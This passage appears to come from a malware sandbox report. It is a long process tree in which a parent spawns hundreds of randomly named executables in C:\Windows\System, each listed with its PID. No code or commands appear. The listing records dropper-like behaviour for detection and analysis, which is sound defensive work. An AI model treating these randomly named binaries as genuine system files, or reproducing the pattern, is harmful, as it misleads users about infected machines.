  C:\Windows\System\jzACEdu.exe
  2⤵
  PID:4808
- C:\Windows\System\SEkzLxE.exe
  C:\Windows\System\SEkzLxE.exe
  2⤵
  PID:4824
- C:\Windows\System\SSHWDpu.exe
  C:\Windows\System\SSHWDpu.exe
  2⤵
  PID:4840
- C:\Windows\System\EItukqp.exe
  C:\Windows\System\EItukqp.exe
  2⤵
  PID:4868
- C:\Windows\System\iowJnDU.exe
  C:\Windows\System\iowJnDU.exe
  2⤵
  PID:4884
- C:\Windows\System\qHorTdd.exe
  C:\Windows\System\qHorTdd.exe
  2⤵
  PID:4900
- C:\Windows\System\uFYOxBo.exe
  C:\Windows\System\uFYOxBo.exe
  2⤵
  PID:4916
- C:\Windows\System\avUDptO.exe
  C:\Windows\System\avUDptO.exe
  2⤵
  PID:4940
- C:\Windows\System\TIEBXAC.exe
  C:\Windows\System\TIEBXAC.exe
  2⤵
  PID:5004
- C:\Windows\System\JOvGkcw.exe
  C:\Windows\System\JOvGkcw.exe
  2⤵
  PID:5028
- C:\Windows\System\IkXHKDk.exe
  C:\Windows\System\IkXHKDk.exe
  2⤵
  PID:5044
- C:\Windows\System\FkzUEaD.exe
  C:\Windows\System\FkzUEaD.exe
  2⤵
  PID:5060
- C:\Windows\System\Bxfkfcg.exe
  C:\Windows\System\Bxfkfcg.exe
  2⤵
  PID:5076
- C:\Windows\System\otMsmVH.exe
  C:\Windows\System\otMsmVH.exe
  2⤵
  PID:5092
- C:\Windows\System\jrtyQvl.exe
  C:\Windows\System\jrtyQvl.exe
  2⤵
  PID:5108
- C:\Windows\System\sTfagCk.exe
  C:\Windows\System\sTfagCk.exe
  2⤵
  PID:2108
- C:\Windows\System\FUWnwqR.exe
  C:\Windows\System\FUWnwqR.exe
  2⤵
  PID:3116
- C:\Windows\System\wRmBEPN.exe
  C:\Windows\System\wRmBEPN.exe
  2⤵
  PID:2196
- C:\Windows\System\KpvZSfp.exe
  C:\Windows\System\KpvZSfp.exe
  2⤵
  PID:2148
- C:\Windows\System\tPbhzcI.exe
  C:\Windows\System\tPbhzcI.exe
  2⤵
  PID:3084
- C:\Windows\System\lJCPhVx.exe
  C:\Windows\System\lJCPhVx.exe
  2⤵
  PID:3152
- C:\Windows\System\IGBREQu.exe
  C:\Windows\System\IGBREQu.exe
  2⤵
  PID:3244
- C:\Windows\System\QHVyTbq.exe
  C:\Windows\System\QHVyTbq.exe
  2⤵
  PID:3312
- C:\Windows\System\QKsRtoY.exe
  C:\Windows\System\QKsRtoY.exe
  2⤵
  PID:3376
- C:\Windows\System\khSnliZ.exe
  C:\Windows\System\khSnliZ.exe
  2⤵
  PID:3436
- C:\Windows\System\ffphylW.exe
  C:\Windows\System\ffphylW.exe
  2⤵
  PID:3452
- C:\Windows\System\etZEADv.exe
  C:\Windows\System\etZEADv.exe
  2⤵
  PID:3512
- C:\Windows\System\YaNDuTo.exe
  C:\Windows\System\YaNDuTo.exe
  2⤵
  PID:3604
- C:\Windows\System\rHmOZVn.exe
  C:\Windows\System\rHmOZVn.exe
  2⤵
  PID:3976
- C:\Windows\System\iUggiOX.exe
  C:\Windows\System\iUggiOX.exe
  2⤵
  PID:3848
- C:\Windows\System\rmJkSNb.exe
  C:\Windows\System\rmJkSNb.exe
  2⤵
  PID:3784
- C:\Windows\System\zolsfsj.exe
  C:\Windows\System\zolsfsj.exe
  2⤵
  PID:3744
- C:\Windows\System\VzTvjyW.exe
  C:\Windows\System\VzTvjyW.exe
  2⤵
  PID:3708
- C:\Windows\System\KbVCwUj.exe
  C:\Windows\System\KbVCwUj.exe
  2⤵
  PID:4012
- C:\Windows\System\KzRwFyv.exe
  C:\Windows\System\KzRwFyv.exe
  2⤵
  PID:3916
- C:\Windows\System\VLWbJIn.exe
  C:\Windows\System\VLWbJIn.exe
  2⤵
  PID:4080
- C:\Windows\System\ZfYnMTn.exe
  C:\Windows\System\ZfYnMTn.exe
  2⤵
  PID:4156
- C:\Windows\System\NhwhBFX.exe
  C:\Windows\System\NhwhBFX.exe
  2⤵
  PID:2704
- C:\Windows\System\JuNjkac.exe
  C:\Windows\System\JuNjkac.exe
  2⤵
  PID:700
- C:\Windows\System\vLiVlAo.exe
  C:\Windows\System\vLiVlAo.exe
  2⤵
  PID:2780
- C:\Windows\System\sTOMsjS.exe
  C:\Windows\System\sTOMsjS.exe
  2⤵
  PID:2332
- C:\Windows\System\ihGWDsI.exe
  C:\Windows\System\ihGWDsI.exe
  2⤵
  PID:3476
- C:\Windows\System\WZwqNHd.exe
  C:\Windows\System\WZwqNHd.exe
  2⤵
  PID:4032
- C:\Windows\System\xNprOQJ.exe
  C:\Windows\System\xNprOQJ.exe
  2⤵
  PID:1524
- C:\Windows\System\iKTAjyg.exe
  C:\Windows\System\iKTAjyg.exe
  2⤵
  PID:4140
- C:\Windows\System\tpbiJNs.exe
  C:\Windows\System\tpbiJNs.exe
  2⤵
  PID:4184
- C:\Windows\System\WEIaokR.exe
  C:\Windows\System\WEIaokR.exe
  2⤵
  PID:4200
- C:\Windows\System\idNvOzw.exe
  C:\Windows\System\idNvOzw.exe
  2⤵
  PID:4216
- C:\Windows\System\YpcZfhW.exe
  C:\Windows\System\YpcZfhW.exe
  2⤵
  PID:4236
- C:\Windows\System\MrARTmB.exe
  C:\Windows\System\MrARTmB.exe
  2⤵
  PID:4252
- C:\Windows\System\ggMYvnl.exe
  C:\Windows\System\ggMYvnl.exe
  2⤵
  PID:4272
- C:\Windows\System\DhfqKWx.exe
  C:\Windows\System\DhfqKWx.exe
  2⤵
  PID:4288
- C:\Windows\System\sIDXwiS.exe
  C:\Windows\System\sIDXwiS.exe
  2⤵
  PID:4300
- C:\Windows\System\WpQlQvb.exe
  C:\Windows\System\WpQlQvb.exe
  2⤵
  PID:2084
- C:\Windows\System\TTHIRQc.exe
  C:\Windows\System\TTHIRQc.exe
  2⤵
  PID:4316
- C:\Windows\System\QjRZXxd.exe
  C:\Windows\System\QjRZXxd.exe
  2⤵
  PID:3992
- C:\Windows\System\tLTIJxR.exe
  C:\Windows\System\tLTIJxR.exe
  2⤵
  PID:3932
- C:\Windows\System\jGXqOFl.exe
  C:\Windows\System\jGXqOFl.exe
  2⤵
  PID:3832
- C:\Windows\System\UQghNCa.exe
  C:\Windows\System\UQghNCa.exe
  2⤵
  PID:3764
- C:\Windows\System\SJzaEgu.exe
  C:\Windows\System\SJzaEgu.exe
  2⤵
  PID:3696
- C:\Windows\System\aHEQtsu.exe
  C:\Windows\System\aHEQtsu.exe
  2⤵
  PID:3628
- C:\Windows\System\LIaLskj.exe
  C:\Windows\System\LIaLskj.exe
  2⤵
  PID:3492
- C:\Windows\System\JyeZfJu.exe
  C:\Windows\System\JyeZfJu.exe
  2⤵
  PID:3528
- C:\Windows\System\vYBlCoS.exe
  C:\Windows\System\vYBlCoS.exe
  2⤵
  PID:3420
- C:\Windows\System\UFzywDh.exe
  C:\Windows\System\UFzywDh.exe
  2⤵
  PID:3356
- C:\Windows\System\YvUYbQB.exe
  C:\Windows\System\YvUYbQB.exe
  2⤵
  PID:3292
- C:\Windows\System\eBapvKI.exe
  C:\Windows\System\eBapvKI.exe
  2⤵
  PID:3200
- C:\Windows\System\LUJCyhB.exe
  C:\Windows\System\LUJCyhB.exe
  2⤵
  PID:3164
- C:\Windows\System\QZZlcIr.exe
  C:\Windows\System\QZZlcIr.exe
  2⤵
  PID:3100
- C:\Windows\System\bniUrkf.exe
  C:\Windows\System\bniUrkf.exe
  2⤵
  PID:4344
- C:\Windows\System\DfzKLUq.exe
  C:\Windows\System\DfzKLUq.exe
  2⤵
  PID:4352
- C:\Windows\System\MjQyimb.exe
  C:\Windows\System\MjQyimb.exe
  2⤵
  PID:4376
- C:\Windows\System\FPZsSgD.exe
  C:\Windows\System\FPZsSgD.exe
  2⤵
  PID:2292
- C:\Windows\System\WLhJKCU.exe
  C:\Windows\System\WLhJKCU.exe
  2⤵
  PID:2480
- C:\Windows\System\EwKmkqH.exe
  C:\Windows\System\EwKmkqH.exe
  2⤵
  PID:308
- C:\Windows\System\PZzXTsP.exe
  C:\Windows\System\PZzXTsP.exe
  2⤵
  PID:4396
- C:\Windows\System\aReCdoN.exe
  C:\Windows\System\aReCdoN.exe
  2⤵
  PID:4420
- C:\Windows\System\KGcHlWf.exe
  C:\Windows\System\KGcHlWf.exe
  2⤵
  PID:4436
- C:\Windows\System\aPqADxs.exe
  C:\Windows\System\aPqADxs.exe
  2⤵
  PID:4456
- C:\Windows\System\sxjGQdJ.exe
  C:\Windows\System\sxjGQdJ.exe
  2⤵
  PID:4472
- C:\Windows\System\JLpMoPq.exe
  C:\Windows\System\JLpMoPq.exe
  2⤵
  PID:4488
- C:\Windows\System\RTrtojQ.exe
  C:\Windows\System\RTrtojQ.exe
  2⤵
  PID:2340
- C:\Windows\System\uEzCNgd.exe
  C:\Windows\System\uEzCNgd.exe
  2⤵
  PID:1384
- C:\Windows\System\fLzCEud.exe
  C:\Windows\System\fLzCEud.exe
  2⤵
  PID:4556
- C:\Windows\System\toKdoSt.exe
  C:\Windows\System\toKdoSt.exe
  2⤵
  PID:4600
- C:\Windows\System\GIKsWwS.exe
  C:\Windows\System\GIKsWwS.exe
  2⤵
  PID:4700
- C:\Windows\System\pyezqda.exe
  C:\Windows\System\pyezqda.exe
  2⤵
  PID:4740
- C:\Windows\System\atxPmib.exe
  C:\Windows\System\atxPmib.exe
  2⤵
  PID:4832
- C:\Windows\System\kAudDlz.exe
  C:\Windows\System\kAudDlz.exe
  2⤵
  PID:4876
- C:\Windows\System\oYQEsxg.exe
  C:\Windows\System\oYQEsxg.exe
  2⤵
  PID:2308
- C:\Windows\System\PiKlXjU.exe
  C:\Windows\System\PiKlXjU.exe
  2⤵
  PID:4668
- C:\Windows\System\MmMKjag.exe
  C:\Windows\System\MmMKjag.exe
  2⤵
  PID:4860
- C:\Windows\System\JfsxdEw.exe
  C:\Windows\System\JfsxdEw.exe
  2⤵
  PID:2608
- C:\Windows\System\KAzPgkq.exe
  C:\Windows\System\KAzPgkq.exe
  2⤵
  PID:2768
- C:\Windows\System\xcooDDm.exe
  C:\Windows\System\xcooDDm.exe
  2⤵
  PID:2828
- C:\Windows\System\RMUWOzQ.exe
  C:\Windows\System\RMUWOzQ.exe
  2⤵
  PID:4572
- C:\Windows\System\TqpDxRL.exe
  C:\Windows\System\TqpDxRL.exe
  2⤵
  PID:4660
- C:\Windows\System\odzLlro.exe
  C:\Windows\System\odzLlro.exe
  2⤵
  PID:4684
- C:\Windows\System\YavcvUG.exe
  C:\Windows\System\YavcvUG.exe
  2⤵
  PID:4752
- C:\Windows\System\UVEqnGK.exe
  C:\Windows\System\UVEqnGK.exe
  2⤵
  PID:4816
- C:\Windows\System\KSuxEqM.exe
  C:\Windows\System\KSuxEqM.exe
  2⤵
  PID:4928
- C:\Windows\System\dHBUufo.exe
  C:\Windows\System\dHBUufo.exe
  2⤵
  PID:4992
- C:\Windows\System\FYqmnsd.exe
  C:\Windows\System\FYqmnsd.exe
  2⤵
  PID:5036
- C:\Windows\System\mfxHUBB.exe
  C:\Windows\System\mfxHUBB.exe
  2⤵
  PID:5020
- C:\Windows\System\FosdbGC.exe
  C:\Windows\System\FosdbGC.exe
  2⤵
  PID:5084
- C:\Windows\System\dscepZt.exe
  C:\Windows\System\dscepZt.exe
  2⤵
  PID:5116
- C:\Windows\System\RvNnHdi.exe
  C:\Windows\System\RvNnHdi.exe
  2⤵
  PID:1120
- C:\Windows\System\JRFMEri.exe
  C:\Windows\System\JRFMEri.exe
  2⤵
  PID:2536
- C:\Windows\System\IBFqLaK.exe
  C:\Windows\System\IBFqLaK.exe
  2⤵
  PID:3276
- C:\Windows\System\Zhvmjnc.exe
  C:\Windows\System\Zhvmjnc.exe
  2⤵
  PID:3344
- C:\Windows\System\YGdyTIj.exe
  C:\Windows\System\YGdyTIj.exe
  2⤵
  PID:3504
- C:\Windows\System\gIiluQH.exe
  C:\Windows\System\gIiluQH.exe
  2⤵
  PID:3576
- C:\Windows\System\VhTaYYI.exe
  C:\Windows\System\VhTaYYI.exe
  2⤵
  PID:3816
- C:\Windows\System\WEDExGQ.exe
  C:\Windows\System\WEDExGQ.exe
  2⤵
  PID:3680
- C:\Windows\System\dzchNZa.exe
  C:\Windows\System\dzchNZa.exe
  2⤵
  PID:3672
- C:\Windows\System\YLRRPfI.exe
  C:\Windows\System\YLRRPfI.exe
  2⤵
  PID:3944
- C:\Windows\System\bcQfPpK.exe
  C:\Windows\System\bcQfPpK.exe
  2⤵
  PID:4124
- C:\Windows\System\gFiiWOd.exe
  C:\Windows\System\gFiiWOd.exe
  2⤵
  PID:1848
- C:\Windows\System\lBzQCCJ.exe
  C:\Windows\System\lBzQCCJ.exe
  2⤵
  PID:2824
- C:\Windows\System\KNpfFys.exe
  C:\Windows\System\KNpfFys.exe
  2⤵
  PID:4068
- C:\Windows\System\cshabOt.exe
  C:\Windows\System\cshabOt.exe
  2⤵
  PID:4176
- C:\Windows\System\aIDjsbx.exe
  C:\Windows\System\aIDjsbx.exe
  2⤵
  PID:4208
- C:\Windows\System\cMzQHVy.exe
  C:\Windows\System\cMzQHVy.exe
  2⤵
  PID:4228
- C:\Windows\System\TtuhoBL.exe
  C:\Windows\System\TtuhoBL.exe
  2⤵
  PID:4264
- C:\Windows\System\RqkCGrX.exe
  C:\Windows\System\RqkCGrX.exe
  2⤵
  PID:4280
- C:\Windows\System\gYZLgvi.exe
  C:\Windows\System\gYZLgvi.exe
  2⤵
  PID:4064
- C:\Windows\System\BVbaAlA.exe
  C:\Windows\System\BVbaAlA.exe
  2⤵
  PID:3928
- C:\Windows\System\zRWZRdJ.exe
  C:\Windows\System\zRWZRdJ.exe
  2⤵
  PID:3868
- C:\Windows\System\zYJmvzi.exe
  C:\Windows\System\zYJmvzi.exe
  2⤵
  PID:3760
- C:\Windows\System\etmrizH.exe
  C:\Windows\System\etmrizH.exe
  2⤵
  PID:3592
- C:\Windows\System\pfZiPxV.exe
  C:\Windows\System\pfZiPxV.exe
  2⤵
  PID:3624
- C:\Windows\System\knRkcbv.exe
  C:\Windows\System\knRkcbv.exe
  2⤵
  PID:3424
- C:\Windows\System\DpfgUtK.exe
  C:\Windows\System\DpfgUtK.exe
  2⤵
  PID:3360
- C:\Windows\System\DLEyMhC.exe
  C:\Windows\System\DLEyMhC.exe
  2⤵
  PID:1080
- C:\Windows\System\IwDuDjP.exe
  C:\Windows\System\IwDuDjP.exe
  2⤵
  PID:1160
- C:\Windows\System\IGfAXqp.exe
  C:\Windows\System\IGfAXqp.exe
  2⤵
  PID:1100
- C:\Windows\System\leZXFea.exe
  C:\Windows\System\leZXFea.exe
  2⤵
  PID:4372
- C:\Windows\System\YPILnkX.exe
  C:\Windows\System\YPILnkX.exe
  2⤵
  PID:2564
- C:\Windows\System\brByCEH.exe
  C:\Windows\System\brByCEH.exe
  2⤵
  PID:4432
- C:\Windows\System\lmbYbAG.exe
  C:\Windows\System\lmbYbAG.exe
  2⤵
  PID:4784
- C:\Windows\System\AiDEXEy.exe
  C:\Windows\System\AiDEXEy.exe
  2⤵
  PID:2072
- C:\Windows\System\nToUORw.exe
  C:\Windows\System\nToUORw.exe
  2⤵
  PID:4528
- C:\Windows\System\PpghFbA.exe
  C:\Windows\System\PpghFbA.exe
  2⤵
  PID:2708
- C:\Windows\System\QNdeTAO.exe
  C:\Windows\System\QNdeTAO.exe
  2⤵
  PID:3776
- C:\Windows\System\EOJmcrB.exe
  C:\Windows\System\EOJmcrB.exe
  2⤵
  PID:2396
- C:\Windows\System\yAxbWXC.exe
  C:\Windows\System\yAxbWXC.exe
  2⤵
  PID:2956
- C:\Windows\System\xkunuvS.exe
  C:\Windows\System\xkunuvS.exe
  2⤵
  PID:4312
- C:\Windows\System\TqaLJCv.exe
  C:\Windows\System\TqaLJCv.exe
  2⤵
  PID:1576
- C:\Windows\System\VhsePrj.exe
  C:\Windows\System\VhsePrj.exe
  2⤵
  PID:3296
- C:\Windows\System\zauQANQ.exe
  C:\Windows\System\zauQANQ.exe
  2⤵
  PID:4248
- C:\Windows\System\rXwHwLa.exe
  C:\Windows\System\rXwHwLa.exe
  2⤵
  PID:4508
- C:\Windows\System\oqkEeXR.exe
  C:\Windows\System\oqkEeXR.exe
  2⤵
  PID:4896
- C:\Windows\System\rDuVJJr.exe
  C:\Windows\System\rDuVJJr.exe
  2⤵
  PID:3460
- C:\Windows\System\ykpuaNB.exe
  C:\Windows\System\ykpuaNB.exe
  2⤵
  PID:2952
- C:\Windows\System\yQnLmRD.exe
  C:\Windows\System\yQnLmRD.exe
  2⤵
  PID:4292
- C:\Windows\System\TCHmWAR.exe
  C:\Windows\System\TCHmWAR.exe
  2⤵
  PID:3556
- C:\Windows\System\BlPzEUj.exe
  C:\Windows\System\BlPzEUj.exe
  2⤵
  PID:4592
- C:\Windows\System\VjmLLBP.exe
  C:\Windows\System\VjmLLBP.exe
  2⤵
  PID:600
- C:\Windows\System\sEmjwde.exe
  C:\Windows\System\sEmjwde.exe
  2⤵
  PID:2800
- C:\Windows\System\DKtIIet.exe
  C:\Windows\System\DKtIIet.exe
  2⤵
  PID:4196
- C:\Windows\System\jMDQTil.exe
  C:\Windows\System\jMDQTil.exe
  2⤵
  PID:3812
- C:\Windows\System\faMmqOt.exe
  C:\Windows\System\faMmqOt.exe
  2⤵
  PID:4428
- C:\Windows\System\dQKZOUX.exe
  C:\Windows\System\dQKZOUX.exe
  2⤵
  PID:4540
- C:\Windows\System\peaGhDe.exe
  C:\Windows\System\peaGhDe.exe
  2⤵
  PID:2244
- C:\Windows\System\HqhWTVF.exe
  C:\Windows\System\HqhWTVF.exe
  2⤵
  PID:4468
- C:\Windows\System\BJZdPrp.exe
  C:\Windows\System\BJZdPrp.exe
  2⤵
  PID:4256
- C:\Windows\System\HvxRcTy.exe
  C:\Windows\System\HvxRcTy.exe
  2⤵
  PID:3248
- C:\Windows\System\RJOtOxK.exe
  C:\Windows\System\RJOtOxK.exe
  2⤵
  PID:2912
- C:\Windows\System\EtinDbQ.exe
  C:\Windows\System\EtinDbQ.exe
  2⤵
  PID:3728
- C:\Windows\System\RdtGdlK.exe
  C:\Windows\System\RdtGdlK.exe
  2⤵
  PID:1500
- C:\Windows\System\vhtWdiy.exe
  C:\Windows\System\vhtWdiy.exe
  2⤵
  PID:3148
- C:\Windows\System\XmFVuop.exe
  C:\Windows\System\XmFVuop.exe
  2⤵
  PID:1064
- C:\Windows\System\axUrlqa.exe
  C:\Windows\System\axUrlqa.exe
  2⤵
  PID:2232
- C:\Windows\System\LiboGwK.exe
  C:\Windows\System\LiboGwK.exe
  2⤵
  PID:3260
- C:\Windows\System\LhEFEAc.exe
  C:\Windows\System\LhEFEAc.exe
  2⤵
  PID:4852
- C:\Windows\System\XxIqAqK.exe
  C:\Windows\System\XxIqAqK.exe
  2⤵
  PID:5052
- C:\Windows\System\ZsyJiUD.exe
  C:\Windows\System\ZsyJiUD.exe
  2⤵
  PID:2716
- C:\Windows\System\bzQWNSy.exe
  C:\Windows\System\bzQWNSy.exe
  2⤵
  PID:3560
- C:\Windows\System\JLHErNg.exe
  C:\Windows\System\JLHErNg.exe
  2⤵
  PID:4788
- C:\Windows\System\MRbddKt.exe
  C:\Windows\System\MRbddKt.exe
  2⤵
  PID:4416
- C:\Windows\System\uqTmkwT.exe
  C:\Windows\System\uqTmkwT.exe
  2⤵
  PID:2972
- C:\Windows\System\otgJsSC.exe
  C:\Windows\System\otgJsSC.exe
  2⤵
  PID:3692
- C:\Windows\System\YBlgRUg.exe
  C:\Windows\System\YBlgRUg.exe
  2⤵
  PID:4496
- C:\Windows\System\xJWLyAe.exe
  C:\Windows\System\xJWLyAe.exe
  2⤵
  PID:3880
- C:\Windows\System\DdOkiWk.exe
  C:\Windows\System\DdOkiWk.exe
  2⤵
  PID:4680
- C:\Windows\System\uUdCZuw.exe
  C:\Windows\System\uUdCZuw.exe
  2⤵
  PID:4340
- C:\Windows\System\mzNdfCs.exe
  C:\Windows\System\mzNdfCs.exe
  2⤵
  PID:3660
- C:\Windows\System\cpludjd.exe
  C:\Windows\System\cpludjd.exe
  2⤵
  PID:4800
- C:\Windows\System\QUWweWi.exe
  C:\Windows\System\QUWweWi.exe
  2⤵
  PID:4404
- C:\Windows\System\sDfPdxP.exe
  C:\Windows\System\sDfPdxP.exe
  2⤵
  PID:4716
- C:\Windows\System\WuJvIaA.exe
  C:\Windows\System\WuJvIaA.exe
  2⤵
  PID:5136
- C:\Windows\System\IznIWeg.exe
  C:\Windows\System\IznIWeg.exe
  2⤵
  PID:5152
- C:\Windows\System\kifUghh.exe
  C:\Windows\System\kifUghh.exe
  2⤵
  PID:5168
- C:\Windows\System\NBVuAqg.exe
  C:\Windows\System\NBVuAqg.exe
  2⤵
  PID:5184
- C:\Windows\System\ThXwQaq.exe
  C:\Windows\System\ThXwQaq.exe
  2⤵
  PID:5284
- C:\Windows\System\tbYSHKm.exe
  C:\Windows\System\tbYSHKm.exe
  2⤵
  PID:5304
- C:\Windows\System\yuwjaCt.exe
  C:\Windows\System\yuwjaCt.exe
  2⤵
  PID:5320
- C:\Windows\System\qMOJywe.exe
  C:\Windows\System\qMOJywe.exe
  2⤵
  PID:5344
- C:\Windows\System\SKNoqCX.exe
  C:\Windows\System\SKNoqCX.exe
  2⤵
  PID:5364
- C:\Windows\System\XfOydLN.exe
  C:\Windows\System\XfOydLN.exe
  2⤵
  PID:5380
- C:\Windows\System\rFsItHn.exe
  C:\Windows\System\rFsItHn.exe
  2⤵
  PID:5396
- C:\Windows\System\mBuwifm.exe
  C:\Windows\System\mBuwifm.exe
  2⤵
  PID:5412
- C:\Windows\System\EvbzYwS.exe
  C:\Windows\System\EvbzYwS.exe
  2⤵
  PID:5428
- C:\Windows\System\sDySMbt.exe
  C:\Windows\System\sDySMbt.exe
  2⤵
  PID:5444
- C:\Windows\System\raloipb.exe
  C:\Windows\System\raloipb.exe
  2⤵
  PID:5460
- C:\Windows\System\voPqjvG.exe
  C:\Windows\System\voPqjvG.exe
  2⤵
  PID:5484
- C:\Windows\System\suvdFRv.exe
  C:\Windows\System\suvdFRv.exe
  2⤵
  PID:5500
- C:\Windows\System\tYoxloD.exe
  C:\Windows\System\tYoxloD.exe
  2⤵
  PID:5520
- C:\Windows\System\ZSEpgUN.exe
  C:\Windows\System\ZSEpgUN.exe
  2⤵
  PID:5540
- C:\Windows\System\UiAlITz.exe
  C:\Windows\System\UiAlITz.exe
  2⤵
  PID:5560
- C:\Windows\System\mTBuOTp.exe
  C:\Windows\System\mTBuOTp.exe
  2⤵
  PID:5580
- C:\Windows\System\CWGGbwW.exe
  C:\Windows\System\CWGGbwW.exe
  2⤵
  PID:5596
- C:\Windows\System\vcYSHYu.exe
  C:\Windows\System\vcYSHYu.exe
  2⤵
  PID:5612
- C:\Windows\System\OUOJvpn.exe
  C:\Windows\System\OUOJvpn.exe
  2⤵
  PID:5632
- C:\Windows\System\uuYOJpu.exe
  C:\Windows\System\uuYOJpu.exe
  2⤵
  PID:5664
- C:\Windows\System\HWEMQpL.exe
  C:\Windows\System\HWEMQpL.exe
  2⤵
  PID:5784
- C:\Windows\System\QiqmIYU.exe
  C:\Windows\System\QiqmIYU.exe
  2⤵
  PID:5804
- C:\Windows\System\oNvDGuO.exe
  C:\Windows\System\oNvDGuO.exe
  2⤵
  PID:5820
- C:\Windows\System\sODSWZs.exe
  C:\Windows\System\sODSWZs.exe
  2⤵
  PID:5836
- C:\Windows\System\ZuNsdEw.exe
  C:\Windows\System\ZuNsdEw.exe
  2⤵
  PID:5852
- C:\Windows\System\sebFVXT.exe
  C:\Windows\System\sebFVXT.exe
  2⤵
  PID:5868
- C:\Windows\System\OjdMygt.exe
  C:\Windows\System\OjdMygt.exe
  2⤵
  PID:5888
- C:\Windows\System\fylpvDE.exe
  C:\Windows\System\fylpvDE.exe
  2⤵
  PID:5904
- C:\Windows\System\KugxZZl.exe
  C:\Windows\System\KugxZZl.exe
  2⤵
  PID:5920
- C:\Windows\System\mPtOWVc.exe
  C:\Windows\System\mPtOWVc.exe
  2⤵
  PID:5940
- C:\Windows\System\KhCYJWi.exe
  C:\Windows\System\KhCYJWi.exe
  2⤵
  PID:5956
- C:\Windows\System\UTfntfy.exe
  C:\Windows\System\UTfntfy.exe
  2⤵
  PID:5972
- C:\Windows\System\MozHpOs.exe
  C:\Windows\System\MozHpOs.exe
  2⤵
  PID:5988
- C:\Windows\System\QxTigEh.exe
  C:\Windows\System\QxTigEh.exe
  2⤵
  PID:6008
- C:\Windows\System\TvJmNVV.exe
  C:\Windows\System\TvJmNVV.exe
  2⤵
  PID:6024
- C:\Windows\System\xNmnEWf.exe
  C:\Windows\System\xNmnEWf.exe
  2⤵
  PID:6044
- C:\Windows\System\aFEideX.exe
  C:\Windows\System\aFEideX.exe
  2⤵
  PID:6060
- C:\Windows\System\aDMyvyk.exe
  C:\Windows\System\aDMyvyk.exe
  2⤵
  PID:6076
- C:\Windows\System\iHfljVr.exe
  C:\Windows\System\iHfljVr.exe
  2⤵
  PID:6092
- C:\Windows\System\EmVVQBH.exe
  C:\Windows\System\EmVVQBH.exe
  2⤵
  PID:6108
- C:\Windows\System\cXQEtYO.exe
  C:\Windows\System\cXQEtYO.exe
  2⤵
  PID:6128
- C:\Windows\System\VIRDObb.exe
  C:\Windows\System\VIRDObb.exe
  2⤵
  PID:4736
- C:\Windows\System\ITeeBqV.exe
  C:\Windows\System\ITeeBqV.exe
  2⤵
  PID:4996
- C:\Windows\System\WfxLYFE.exe
  C:\Windows\System\WfxLYFE.exe
  2⤵
  PID:3828
- C:\Windows\System\yBonFPV.exe
  C:\Windows\System\yBonFPV.exe
  2⤵
  PID:4356
- C:\Windows\System\cQVohnU.exe
  C:\Windows\System\cQVohnU.exe
  2⤵
  PID:5204
- C:\Windows\System\OgmbAvH.exe
  C:\Windows\System\OgmbAvH.exe
  2⤵
  PID:5212
- C:\Windows\System\kmhLnvs.exe
  C:\Windows\System\kmhLnvs.exe
  2⤵
  PID:5164
- C:\Windows\System\qvsnfsf.exe
  C:\Windows\System\qvsnfsf.exe
  2⤵
  PID:2316
- C:\Windows\System\VPDDcvT.exe
  C:\Windows\System\VPDDcvT.exe
  2⤵
  PID:5176
- C:\Windows\System\TqilkJD.exe
  C:\Windows\System\TqilkJD.exe
  2⤵
  PID:5256
- C:\Windows\System\nAkmvmQ.exe
  C:\Windows\System\nAkmvmQ.exe
  2⤵
  PID:5280
- C:\Windows\System\MsFnKer.exe
  C:\Windows\System\MsFnKer.exe
  2⤵
  PID:5360
- C:\Windows\System\HacDZYU.exe
  C:\Windows\System\HacDZYU.exe
  2⤵
  PID:5420
- C:\Windows\System\bywYMQT.exe
  C:\Windows\System\bywYMQT.exe
  2⤵
  PID:5340
- C:\Windows\System\UrLnnOr.exe
  C:\Windows\System\UrLnnOr.exe
  2⤵
  PID:5644
- C:\Windows\System\yVLYCgp.exe
  C:\Windows\System\yVLYCgp.exe
  2⤵
  PID:5660
- C:\Windows\System\szGxlaK.exe
  C:\Windows\System\szGxlaK.exe
  2⤵
  PID:5376
- C:\Windows\System\rouNWJC.exe
  C:\Windows\System\rouNWJC.exe
  2⤵
  PID:5440
- C:\Windows\System\bldqeWN.exe
  C:\Windows\System\bldqeWN.exe
  2⤵
  PID:5620
- C:\Windows\System\JFzOVQW.exe
  C:\Windows\System\JFzOVQW.exe
  2⤵
  PID:5556
- C:\Windows\System\xNxzdqS.exe
  C:\Windows\System\xNxzdqS.exe
  2⤵
  PID:5628
- C:\Windows\System\dDWYsNs.exe
  C:\Windows\System\dDWYsNs.exe
  2⤵
  PID:5684
- C:\Windows\System\foMqNOS.exe
  C:\Windows\System\foMqNOS.exe
  2⤵
  PID:5704
- C:\Windows\System\wPfmTkD.exe
  C:\Windows\System\wPfmTkD.exe
  2⤵
  PID:5724
- C:\Windows\System\KeCcjvL.exe
  C:\Windows\System\KeCcjvL.exe
  2⤵
  PID:5744
- C:\Windows\System\oEcxImZ.exe
  C:\Windows\System\oEcxImZ.exe
  2⤵
  PID:5764
- C:\Windows\System\InYlvxQ.exe
  C:\Windows\System\InYlvxQ.exe
  2⤵
  PID:5796
- C:\Windows\System\QeEumvm.exe
  C:\Windows\System\QeEumvm.exe
  2⤵
  PID:5772
- C:\Windows\System\ptYZNdS.exe
  C:\Windows\System\ptYZNdS.exe
  2⤵
  PID:5900
- C:\Windows\System\lxYUgpJ.exe
  C:\Windows\System\lxYUgpJ.exe
  2⤵
  PID:5968
- C:\Windows\System\IzBlsih.exe
  C:\Windows\System\IzBlsih.exe
  2⤵
  PID:6040
- C:\Windows\System\fsyJyXH.exe
  C:\Windows\System\fsyJyXH.exe
  2⤵
  PID:6140
- C:\Windows\System\aoJoFZb.exe
  C:\Windows\System\aoJoFZb.exe
  2⤵
  PID:5200
- C:\Windows\System\eNThBSK.exe
  C:\Windows\System\eNThBSK.exe
  2⤵
  PID:5936
- C:\Windows\System\RtddQTN.exe
  C:\Windows\System\RtddQTN.exe
  2⤵
  PID:5264
- C:\Windows\System\qANbFPL.exe
  C:\Windows\System\qANbFPL.exe
  2⤵
  PID:4588
- C:\Windows\System\dyOpmwT.exe
  C:\Windows\System\dyOpmwT.exe
  2⤵
  PID:6016
- C:\Windows\System\raFCEEh.exe
  C:\Windows\System\raFCEEh.exe
  2⤵
  PID:5568
- C:\Windows\System\KPMiIqa.exe
  C:\Windows\System\KPMiIqa.exe
  2⤵
  PID:5356
- C:\Windows\System\cOAGqJo.exe
  C:\Windows\System\cOAGqJo.exe
  2⤵
  PID:5472
- C:\Windows\System\tyBpPlo.exe
  C:\Windows\System\tyBpPlo.exe
  2⤵
  PID:5696
